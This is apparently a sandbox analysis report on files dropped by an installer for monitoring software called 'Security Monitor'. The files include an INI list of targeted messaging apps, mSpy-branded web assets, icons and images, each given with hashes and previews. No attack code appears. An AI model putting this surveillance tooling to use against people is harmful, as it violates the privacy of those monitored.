Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\IM.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-AIC3K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.779626123051365
Encrypted:	false
SSDEEP:	6:ok+vRlSyWL3eNmKRvsllLEJEEs1DqMVSO7DDlotFkMHPJn:EvRSDe7alnEyFSO5uLx
MD5:	CD36DD43C387D31BE9DCDF92EB54972D
SHA1:	A8A28D3A5BD6F747549C555D33FACC1A1B4B1CF9
SHA-256:	CEC4B8CDA2278106D7107EF6663C2797FEE902ABAF7030FA6CDC1B8014A04C49
SHA-512:	B696A1A1767F3EDBF5784433B735134366F7E6424F366F432852635BFABAC391BA46E07C0218B22BDA10C80E8710C4981F50328897FD7ACD440EC65274548B18
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..Slack..Microsoft Teams..Line..ICQ..Google Talk..Yahoo! Messenger..AIM..Trillian..Windows Live Messenger..Tencent QQ..QIP..Mail Agent..Mozilla Thunderbird..Opera Mail

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\is-OEEOJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Zoom]
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.034196121894832
Encrypted:	false
SSDEEP:	24:0O8pqq2DktMmZFxw5vb6ocEzWSM90EeG3GjTA/nyeX+Nq7F21:VtjsWWTp2Ea8U
MD5:	9D370AE1F35460B31952976C7E2AE06D
SHA1:	51AB3EEB2789513AA9CB257C92B54E7CD3B9554E
SHA-256:	2BBB1633EE6C1EC33FC7358C86A8C3293A199AB96E353336425DFE1023D0B597
SHA-512:	F611550CFE595D3C7C8660ACC7E4B301A53E44751447CCD1F207B4BC9B498750B8400D8B44715FF3065ADECAC0D23CAB34C3325086E4F116A38DB532BDEA0AF6
Malicious:	false
Reputation:	unknown
Preview:	[Skype]..ID="skype.exe"..NodeID=41..[Zoom]..ID="Zoom.exe"..NodeID=73..[Telegram]..ID="telegram.exe"..NodeID=52..[Facebook Messenger]..ID="Messenger.exe"..NodeID=71..[Viber]..ID="viber.exe"..NodeID=50..[WhatsApp]..ID="whatsapp.exe"..NodeID=51..[Discord]..ID="Discord.exe"..NodeID=72..[Slack]..ID="slack.exe"..NodeID=70..[Microsoft Teams]..ID="Teams.exe"..NodeID=74..[Line]..ID="line.exe"..NodeID=58..[ICQ]..ID="icq.exe"..NodeID=39..[Google Talk]..ID="googletalk.exe"..NodeID=38..[Yahoo! Messenger]..ID="YahooMessenger.exe"..NodeID=40..[AIM]..ID="aim.exe"..NodeID=37..[Trillian]..ID="trillian.exe"..NodeID=42..[Windows Live Messenger]..ID="msnmsgr.exe"..NodeID=43..[Tencent QQ]..ID="QQ.exe"..NodeID=44..[QIP]..ID="qip.exe"..NodeID=45..; 47 48 - mobile..[Mail Agent]..ID="magent.exe"..NodeID=53..[Mozilla Thunderbird]..ID="thunderbird.exe"..NodeID=66..[Opera Mail]..ID="operamail.exe"..NodeID=67

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\ru\is-L5R5S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.608502996059392
Encrypted:	false
SSDEEP:	3:yqy/nveX+vRo65zHyyWVovaBWU:ok+vRlSyWLh
MD5:	DE0E549A26866981947B7D3653B50B52
SHA1:	493223B85EB9A64FB6A7BF563FAF4E5102C6BBEC
SHA-256:	92DA12EB285A3B9AAEC1D50DA7F17F325216FF874C72351D1811E367E190AF5A
SHA-512:	D567E6694049647E2BE752D4FA13FA52F0409B9170617307F8B47FA132A5C7F276D2BCB3D5A6B50FCBF7A0A2AB6C77C5D38188C0B71249083DA57614A9550780
Malicious:	false
Reputation:	unknown
Preview:	Skype..Zoom..Telegram..Facebook Messenger..Viber..WhatsApp..Discord..QIP

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\zh\is-QP01R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.150292659616668
Encrypted:	false
SSDEEP:	3:yqyxATSfR6lLEJO:XblLEJO
MD5:	A81D187F7CF46F4FC7336B86CBAEC37F
SHA1:	7B0E93E0B0E167997960C23CCA5A75B051EB30E9
SHA-256:	1231CA0960A50BFE65D8931A816737054757963C4C7CDE91B696E4C171B5D609
SHA-512:	7F1A558A3F19C29093245687B1DE5A20CF63C6134DAFDF8EA9F64D7116B7F83B2996EF26AF6118AC8003DA954A5B1A99262D1F7D7062FC399302508487C31ACC
Malicious:	false
Reputation:	unknown
Preview:	Skype..Tencent QQ..ICQ..Google Talk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\1.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12965
Entropy (8bit):	4.7252821159716
Encrypted:	false
SSDEEP:	384:fosFgDIOR12U81EfXbWtk4VAwvZRlppVLMQ:fos4II2U81EfLWtk4VAwvNpUQ
MD5:	5EC6E79E4BA242B21EBD31F4EF89BEB8
SHA1:	7D0202CC4739CFA0C8459E9347260F8F44DD72BF
SHA-256:	1B7D810D6F1338C3D06A01E067E0F933319048A03CCA73DBEA955400216448A3
SHA-512:	A4426BE8C9850D699EB3674B5A6C78E0E7666DB8BCC44D89FBA7D8D3158DE4E55548628318D13B35D7F8333C3237F1971750F46897448538F8AC7EDD4EFA985B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">..<link rel="stylesheet" type="text/css" href="mSpy/widgets.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery-ui-1.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/reset.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/main.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/anythingslider.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/core-ui-select.css" media="all">..<link rel="stylesheet" type="text/css" href="mSpy/jquery_002.css" media="all">..</head>..<body>.. <div class="std"><div class="wrapper">.. <div class="contentZone buyNowSection">.. <div class="product_page_wrap">.. <div class="product_page_top">..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\business-analyt-sprite.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\green_action_btns.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-7FI0D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-Q1V98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_block.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_cal.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_chat.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
